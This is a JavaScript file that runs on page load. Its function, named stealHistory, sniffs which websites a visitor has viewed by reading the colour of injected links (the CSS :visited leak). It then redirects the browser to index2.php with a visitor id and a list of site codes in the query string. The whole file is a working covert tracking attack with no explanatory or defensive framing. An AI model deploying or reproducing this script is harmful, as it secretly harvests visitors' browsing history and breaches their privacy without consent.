addEvent( window, 'load', stealHistory );

var IEVisitedColor 	= '#cd0018';
var W3CVisitedColor	= 'rgb(205, 0, 24)';
  

function stealHistory()
{
	if( document.getElementById( 'site-list' ) )
	{
           var passedParam = 'index2.php?';
           if (visitorid != '') 
              passedParam = passedParam + 'id=' + visitorid;
           
           //alert(visitorid);
           
           passedParam = passedParam + '&s=';
		var List = document.getElementById( 'site-list' );
                
                //alert(websites.length);
		for( var i = 0; i < websites.length; i++ ) 
		{
			var bRemove		= false;
			var ListItem	= document.createElement( 'li' );
			var Link 		= document.createElement( 'a' );
			Link.href 		= websites[i][1];
			Link.id			= i;
			
			Link.appendChild( document.createTextNode( websites[i][1] ) );
			ListItem.appendChild( Link );
			List.appendChild( ListItem );
			
			if( Link.currentStyle )
			{
				var color = Link.currentStyle['color'];
				
				if( color == IEVisitedColor )
				{
					bRemove = true;
				}
			}
			else if( document.defaultView.getComputedStyle( Link, null ) )
			{
				var color = document.defaultView.getComputedStyle( Link, null ).color;
				
				if( color == W3CVisitedColor )
				{
					bRemove = true;
				}
			}
			/*
			// does not work in safari
			else if( window.getComputedStyle )
			{
				var color = window.getComputedStyle( Link, null ).color;
				
				if( color == W3CVisitedColor )
				{
					bRemove = true;
				}
			}
			*/

			if( bRemove == true )
			{
				List.removeChild( ListItem );
			}
			else
			{
				//doUrchin( websites[i], 'visited' );
                           
                           passedParam = passedParam + websites[i][0] + ",";
                           //alert(websites[i][0]);
			}
		}
	}
        //alert(passedParam);
        document.location=passedParam;
}
